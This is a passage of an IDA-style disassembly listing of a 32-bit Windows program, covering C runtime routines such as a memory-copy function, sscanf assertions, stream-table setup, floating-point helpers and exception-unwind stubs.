loc_41880C rep movsd jmp off_4188F8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41884C: ; DATA XREF: sub_4187B0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41880C rep movsd jmp off_4188F8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418870: ; DATA XREF: sub_4187B0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41880C rep movsd jmp off_4188F8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41888C dd offset loc_4188EF ; DATA XREF: sub_4187B0:loc_41880Cr dd offset loc_4188DC dd offset loc_4188D4 dd offset loc_4188CC dd offset loc_4188C4 dd offset loc_4188BC dd offset loc_4188B4 dd offset loc_4188AC ; --------------------------------------------------------------------------- loc_4188AC: ; CODE XREF: sub_4187B0:loc_41880Cj ; DATA XREF: sub_4187B0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4188B4: ; CODE XREF: sub_4187B0:loc_41880Cj ; DATA XREF: sub_4187B0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4188BC: ; CODE XREF: sub_4187B0:loc_41880Cj ; DATA XREF: sub_4187B0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4188C4: ; CODE XREF: sub_4187B0:loc_41880Cj ; DATA XREF: sub_4187B0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4188CC: ; CODE XREF: sub_4187B0:loc_41880Cj ; DATA XREF: sub_4187B0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4188D4: ; CODE XREF: sub_4187B0:loc_41880Cj ; DATA XREF: sub_4187B0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4188DC: ; CODE XREF: sub_4187B0:loc_41880Cj ; DATA XREF: sub_4187B0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4188EF: ; CODE XREF: sub_4187B0:loc_41880Cj ; DATA XREF: sub_4187B0:off_41888Co jmp off_4188F8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4188F8 dd offset loc_418908 ; DATA XREF: sub_4187B0+35r ; sub_4187B0+92r ... dd offset loc_418910 dd offset loc_41891C dd offset loc_418930 ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187B0+35j ; sub_4187B0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418910: ; CODE XREF: sub_4187B0+35j ; sub_4187B0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41891C: ; CODE XREF: sub_4187B0+35j ; sub_4187B0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418930: ; CODE XREF: sub_4187B0+35j ; sub_4187B0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418948: ; CODE XREF: sub_4187B0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41897C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418970 std rep movsd cld jmp off_418A90[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418970: ; CODE XREF: sub_4187B0+1B1j ; sub_4187B0+208j ... neg ecx jmp off_418A40[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41897C: ; CODE XREF: sub_4187B0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_418994 and eax, 3 sub ecx, eax jmp dword ptr loc_418994+4[eax*4] ; --------------------------------------------------------------------------- loc_418994: ; CODE XREF: sub_4187B0+1D6j ; DATA XREF: sub_4187B0+1DDr jmp off_418A90[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4189A8 dd offset unk_4189C8 dd offset loc_4189F0 ; --------------------------------------------------------------------------- loc_4189A8: ; DATA XREF: sub_4187B0+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_418970 std rep movsd cld jmp off_418A90[edx*4] ; --------------------------------------------------------------------------- align 4 unk_4189C8 db 8Ah ; Š ; DATA XREF: sub_4187B0+1F0o db 46h ; F db 3 db 23h ; # db 0D1h ; Ñ db 88h ; ˆ db 47h ; G db 3 db 8Ah ; Š db 46h ; F db 2 db 0C1h ; Á db 0E9h ; é db 2 db 88h ; ˆ db 47h ; G db 2 db 83h ; ƒ db 0EEh ; î db 2 db 83h ; ƒ db 0EFh ; ï db 2 db 83h ; ƒ db 0F9h ; ù db 8 db 72h ; r db 8Ch ; Œ db 0FDh ; ý db 0F3h ; ó db 0A5h ; ¥ db 0FCh ; ü db 0FFh db 24h ; $ db 95h ; • db 90h ; db 8Ah ; Š db 41h ; A db 0 align 10h loc_4189F0: ; DATA XREF: sub_4187B0+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_418970 std rep movsd cld jmp off_418A90[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418A44 dd offset loc_418A4C dd offset loc_418A54 dd offset loc_418A5C dd offset loc_418A64 dd offset loc_418A6C dd offset loc_418A74 off_418A40 dd offset loc_418A87 ; DATA XREF: sub_4187B0+1C2r ; --------------------------------------------------------------------------- loc_418A44: ; DATA XREF: sub_4187B0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_418A4C: ; DATA XREF: sub_4187B0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_418A54: ; DATA XREF: sub_4187B0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_418A5C: ; DATA XREF: sub_4187B0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_418A64: ; DATA XREF: sub_4187B0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_418A6C: ; DATA XREF: sub_4187B0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_418A74: ; DATA XREF: sub_4187B0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418A87: ; CODE XREF: sub_4187B0+1C2j ; DATA XREF: sub_4187B0:off_418A40o jmp off_418A90[edx*4] ; --------------------------------------------------------------------------- align 10h off_418A90 dd offset loc_418AA0 ; DATA XREF: sub_4187B0+1B7r ; sub_4187B0:loc_418994r ... dd offset loc_418AA8 dd offset loc_418AB8 dd offset loc_418ACC ; --------------------------------------------------------------------------- loc_418AA0: ; CODE XREF: sub_4187B0+1B7j ; sub_4187B0:loc_418994j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418AA8: ; CODE XREF: sub_4187B0+1B7j ; sub_4187B0:loc_418994j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418AB8: ; CODE XREF: sub_4187B0+1B7j ; sub_4187B0:loc_418994j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418ACC: ; CODE XREF: sub_4187B0+1B7j ; sub_4187B0:loc_418994j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4187B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AF0 proc near ; CODE XREF: sub_409BC6+40p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_418B05: ; CODE XREF: sub_418AF0+3Dj cmp [ebp+arg_0], 0 jnz short loc_418B29 push offset aStringNull ; "string != NULL" push 0 push 42h push offset aSscanf_c ; "sscanf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_418B29 int 3 ; Trap to Debugger loc_418B29: ; CODE XREF: sub_418AF0+19j ; sub_418AF0+36j xor edx, edx test edx, edx jnz short loc_418B05 loc_418B2F: ; CODE XREF: sub_418AF0+67j cmp [ebp+arg_4], 0 jnz short loc_418B53 push offset aFormatNull ; "format != NULL" push 0 push 43h push offset aSscanf_c ; "sscanf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_418B53 int 3 ; Trap to Debugger loc_418B53: ; CODE XREF: sub_418AF0+43j ; sub_418AF0+60j xor eax, eax test eax, eax jnz short loc_418B2F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 49h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+arg_0] push eax call sub_414BE0 add esp, 4 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_24] push ecx call sub_420920 add esp, 0Ch mov [ebp+var_28], eax mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418AF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BB0 proc near ; CODE XREF: sub_40AF1B+1CCp var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_36 = dword ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_A = dword ptr -0Ah var_6 = dword ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0D8h lea eax, [ebp+var_24] push eax nop call near ptr 27B0186h lea ecx, [ebp+var_10] push ecx nop call near ptr 2840000h mov edx, [ebp+var_6] and edx, 0FFFFh xor eax, eax mov ax, word ptr dword_4DB108+2 cmp edx, eax jnz short loc_418C48 mov ecx, [ebp-8] and ecx, 0FFFFh xor edx, edx mov dx, word ptr dword_4DB108 cmp ecx, edx jnz short loc_418C48 mov eax, [ebp+var_A] and eax, 0FFFFh xor ecx, ecx mov cx, word_4DB106 cmp eax, ecx jnz short loc_418C48 mov edx, [ebp+var_10+2] and edx, 0FFFFh xor eax, eax mov ax, word ptr dword_4DB100+2 cmp edx, eax jnz short loc_418C48 mov ecx, [ebp+var_10] and ecx, 0FFFFh xor edx, edx mov dx, word ptr dword_4DB100 cmp ecx, edx jnz short loc_418C48 mov eax, dword_4DB0F8 mov [ebp+var_D8], eax jmp loc_418CD0 ; --------------------------------------------------------------------------- loc_418C48: ; CODE XREF: sub_418BB0+30j ; sub_418BB0+46j ... lea ecx, [ebp+var_D0] push ecx nop call near ptr 283011Ch mov [ebp+var_D4], eax cmp [ebp+var_D4], 0FFFFFFFFh jz short loc_418C98 cmp [ebp+var_D4], 2 jnz short loc_418C8C mov edx, [ebp+var_36] and edx, 0FFFFh test edx, edx jz short loc_418C8C cmp [ebp+var_28], 0 jz short loc_418C8C mov [ebp+var_D8], 1 jmp short loc_418C96 ; --------------------------------------------------------------------------- loc_418C8C: ; CODE XREF: sub_418BB0+BBj ; sub_418BB0+C8j ... mov [ebp+var_D8], 0 loc_418C96: ; CODE XREF: sub_418BB0+DAj jmp short loc_418CA2 ; --------------------------------------------------------------------------- loc_418C98: ; CODE XREF: sub_418BB0+B2j mov [ebp+var_D8], 0FFFFFFFFh loc_418CA2: ; CODE XREF: sub_418BB0:loc_418C96j mov eax, [ebp+var_D8] mov dword_4DB0F8, eax mov ecx, [ebp+var_10] mov dword_4DB100, ecx mov edx, [ebp-0Ch] mov dword ptr byte_4DB104, edx mov eax, [ebp+var_A+2] mov dword_4DB108, eax mov ecx, [ebp+var_6+2] mov dword_4DB10C, ecx loc_418CD0: ; CODE XREF: sub_418BB0+93j mov edx, [ebp+var_D8] push edx mov eax, [ebp+var_18] and eax, 0FFFFh push eax mov ecx, [ebp-1Ah] and ecx, 0FFFFh push ecx mov edx, [ebp+var_1C] and edx, 0FFFFh push edx mov eax, [ebp-1Eh] and eax, 0FFFFh push eax mov ecx, [ebp+var_24+2] and ecx, 0FFFFh push ecx mov edx, [ebp+var_24] and edx, 0FFFFh push edx call sub_421E20 add esp, 1Ch mov [ebp+var_14], eax cmp [ebp+arg_0], 0 jz short loc_418D2A mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax], ecx loc_418D2A: ; CODE XREF: sub_418BB0+170j mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_418BB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D40 proc near ; DATA XREF: ___:00436018o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4DC7C0, 0 jnz short loc_418D59 mov dword_4DC7C0, 200h jmp short loc_418D6C ; --------------------------------------------------------------------------- loc_418D59: ; CODE XREF: sub_418D40+Bj cmp dword_4DC7C0, 14h jge short loc_418D6C mov dword_4DC7C0, 14h loc_418D6C: ; CODE XREF: sub_418D40+17j ; sub_418D40+20j push 83h push offset a_file_c ; "_file.c" push 2 push 4 mov eax, dword_4DC7C0 push eax call sub_4151E0 add esp, 14h mov dword_4DB7AC, eax cmp dword_4DB7AC, 0 jnz short loc_418DD5 mov dword_4DC7C0, 14h push 86h push offset a_file_c ; "_file.c" push 2 push 4 mov ecx, dword_4DC7C0 push ecx call sub_4151E0 add esp, 14h mov dword_4DB7AC, eax cmp dword_4DB7AC, 0 jnz short loc_418DD5 push 1Ah call sub_41A9A0 add esp, 4 loc_418DD5: ; CODE XREF: sub_418D40+54j ; sub_418D40+89j mov [ebp+var_4], 0 jmp short loc_418DE7 ; --------------------------------------------------------------------------- loc_418DDE: ; CODE XREF: sub_418D40+C4j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_418DE7: ; CODE XREF: sub_418D40+9Cj cmp [ebp+var_4], 14h jge short loc_418E06 mov eax, [ebp+var_4] shl eax, 5 add eax, offset off_4438C0 mov ecx, [ebp+var_4] mov edx, dword_4DB7AC mov [edx+ecx*4], eax jmp short loc_418DDE ; --------------------------------------------------------------------------- loc_418E06: ; CODE XREF: sub_418D40+ABj mov [ebp+var_4], 0 jmp short loc_418E18 ; --------------------------------------------------------------------------- loc_418E0F: ; CODE XREF: sub_418D40:loc_418E66j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_418E18: ; CODE XREF: sub_418D40+CDj cmp [ebp+var_4], 3 jge short loc_418E68 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jz short loc_418E56 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] cmp dword ptr [eax+edx], 0 jnz short loc_418E66 loc_418E56: ; CODE XREF: sub_418D40+F8j mov ecx, [ebp+var_4] shl ecx, 5 mov dword_4438D0[ecx], 0FFFFFFFFh loc_418E66: ; CODE XREF: sub_418D40+114j jmp short loc_418E0F ; --------------------------------------------------------------------------- loc_418E68: ; CODE XREF: sub_418D40+DCj mov esp, ebp pop ebp retn sub_418D40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E70 proc near ; DATA XREF: ___:00436030o push ebp mov ebp, esp call sub_41B4E0 movsx eax, byte_4DB0E4 test eax, eax jz short loc_418E88 call sub_4222E0 loc_418E88: ; CODE XREF: sub_418E70+11j pop ebp retn sub_418E70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E90 proc near ; CODE XREF: sub_414C60+55p ; sub_416D40+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_4438C0 jb short loc_418EBE cmp [ebp+arg_0], offset dword_443B20 ja short loc_418EBE mov eax, [ebp+arg_0] sub eax, offset off_4438C0 sar eax, 5 add eax, 1Ch push eax call sub_41B780 add esp, 4 jmp short loc_418ECB ; --------------------------------------------------------------------------- loc_418EBE: ; CODE XREF: sub_418E90+Aj ; sub_418E90+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx nop call near ptr 77F7E21Fh loc_418ECB: ; CODE XREF: sub_418E90+2Cj pop ebp retn sub_418E90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418ED0 proc near ; CODE XREF: sub_41B4F0+7Ep ; sub_41E5B0+6Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_418EEA mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_41B780 add esp, 4 jmp short loc_418EF7 ; --------------------------------------------------------------------------- loc_418EEA: ; CODE XREF: sub_418ED0+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call near ptr 77F7E21Fh nop loc_418EF7: ; CODE XREF: sub_418ED0+18j pop ebp retn sub_418ED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F00 proc near ; CODE XREF: sub_414C60+70p ; sub_416D40+2Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_4438C0 jb short loc_418F2E cmp [ebp+arg_0], offset dword_443B20 ja short loc_418F2E mov eax, [ebp+arg_0] sub eax, offset off_4438C0 sar eax, 5 add eax, 1Ch push eax call sub_41B820 add esp, 4 jmp short loc_418F3B ; --------------------------------------------------------------------------- loc_418F2E: ; CODE XREF: sub_418F00+Aj ; sub_418F00+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx nop call near ptr 77F7E300h loc_418F3B: ; CODE XREF: sub_418F00+2Cj pop ebp retn sub_418F00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F40 proc near ; CODE XREF: sub_41B4F0+116p ; sub_41E5B0+A0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_418F5A mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_41B820 add esp, 4 jmp short loc_418F67 ; --------------------------------------------------------------------------- loc_418F5A: ; CODE XREF: sub_418F40+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call near ptr 77F7E300h nop loc_418F67: ; CODE XREF: sub_418F40+18j pop ebp retn sub_418F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418F70(double) sub_418F70 proc near ; CODE XREF: sub_40B8F7+38p var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, dword_443B40 push eax call sub_423320 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_41902B mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_423120 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_419002 cmp [ebp+var_10], 2 jle short loc_418FCE cmp [ebp+var_10], 3 jz short loc_418FE7 jmp short loc_419002 ; --------------------------------------------------------------------------- loc_418FCE: ; CODE XREF: sub_418F70+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_423320 add esp, 8 fld [ebp+arg_0] jmp loc_4190A1 ; --------------------------------------------------------------------------- loc_418FE7: ; CODE XREF: sub_418F70+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Bh ; int call sub_4223E0 add esp, 10h jmp loc_4190A1 ; --------------------------------------------------------------------------- loc_419002: ; CODE XREF: sub_418F70+4Ej ; sub_418F70+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd dbl_433CA0 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Bh ; int push 8 ; int call sub_4224B0 add esp, 1Ch jmp short loc_4190A1 ; --------------------------------------------------------------------------- loc_41902B: ; CODE XREF: sub_418F70+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_4223C0 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_419061 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_423320 add esp, 8 fld [ebp+var_8] jmp short loc_4190A1 ; --------------------------------------------------------------------------- loc_419061: ; CODE XREF: sub_418F70+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_419081 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_423320 add esp, 8 fld [ebp+var_8] jmp short loc_4190A1 ; --------------------------------------------------------------------------- loc_419081: ; CODE XREF: sub_418F70+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Bh ; int push 10h ; int call sub_4224B0 add esp, 1Ch loc_4190A1: ; CODE XREF: sub_418F70+72j ; sub_418F70+8Dj ... mov esp, ebp pop ebp retn sub_418F70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190B0 proc near ; CODE XREF: ___:0041790Cp ; DATA XREF: ___:off_443B4Co push ebp mov ebp, esp push ebx push esi push edi call sub_4190F0 call sub_423460 mov dword_4DB118, eax call sub_4233E0 fnclex pop edi pop esi pop ebx pop ebp retn sub_4190B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190E0 proc near ; DATA XREF: ___:00443B50o ; ___:00443B54o push ebp mov ebp, esp pop ebp retn sub_4190E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190F0 proc near ; CODE XREF: sub_4190B0+6p push ebp mov ebp, esp mov off_444248, offset sub_423B50 mov off_44424C, offset sub_423560 mov off_444250, offset sub_423670 mov off_444254, offset sub_4234B0 mov off_444258, offset sub_423640 mov off_44425C, offset sub_423B50 pop ebp retn sub_4190F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4DB114 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4DB114, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41915C proc near ; CODE XREF: sub_40B8F7+1Bp ; sub_40B8F7+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41915C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419190(double) sub_419190 proc near ; CODE XREF: sub_40B943+79p var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, dword_443B58 push eax call sub_423320 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_41924B mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_423120 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_419222 cmp [ebp+var_10], 2 jle short loc_4191EE cmp [ebp+var_10], 3 jz short loc_419207 jmp short loc_419222 ; --------------------------------------------------------------------------- loc_4191EE: ; CODE XREF: sub_419190+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_423320 add esp, 8 fld [ebp+arg_0] jmp loc_4192C1 ; --------------------------------------------------------------------------- loc_419207: ; CODE XREF: sub_419190+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Ch ; int call sub_4223E0 add esp, 10h jmp loc_4192C1 ; --------------------------------------------------------------------------- loc_419222: ; CODE XREF: sub_419190+4Ej ; sub_419190+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd dbl_433CA0 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Ch ; int push 8 ; int call sub_4224B0 add esp, 1Ch jmp short loc_4192C1 ; --------------------------------------------------------------------------- loc_41924B: ; CODE XREF: sub_419190+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_4223C0 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_419281 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_423320 add esp, 8 fld [ebp+var_8] jmp short loc_4192C1 ; --------------------------------------------------------------------------- loc_419281: ; CODE XREF: sub_419190+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_4192A1 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_423320 add esp, 8 fld [ebp+var_8] jmp short loc_4192C1 ; --------------------------------------------------------------------------- loc_4192A1: ; CODE XREF: sub_419190+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Ch ; int push 10h ; int call sub_4224B0 add esp, 1Ch loc_4192C1: ; CODE XREF: sub_419190+72j ; sub_419190+8Dj ... mov esp, ebp pop ebp retn sub_419190 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192D0 proc near ; CODE XREF: sub_424280+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_4192D0 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419310 proc near ; CODE XREF: sub_424760+50p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_419310 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419320 proc near ; CODE XREF: sub_4244E0+247p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_419320 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419330 proc near ; CODE XREF: sub_4244E0+21Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_419330 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_419340 proc near ; CODE XREF: sub_419590+66p ; sub_424280+38p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov 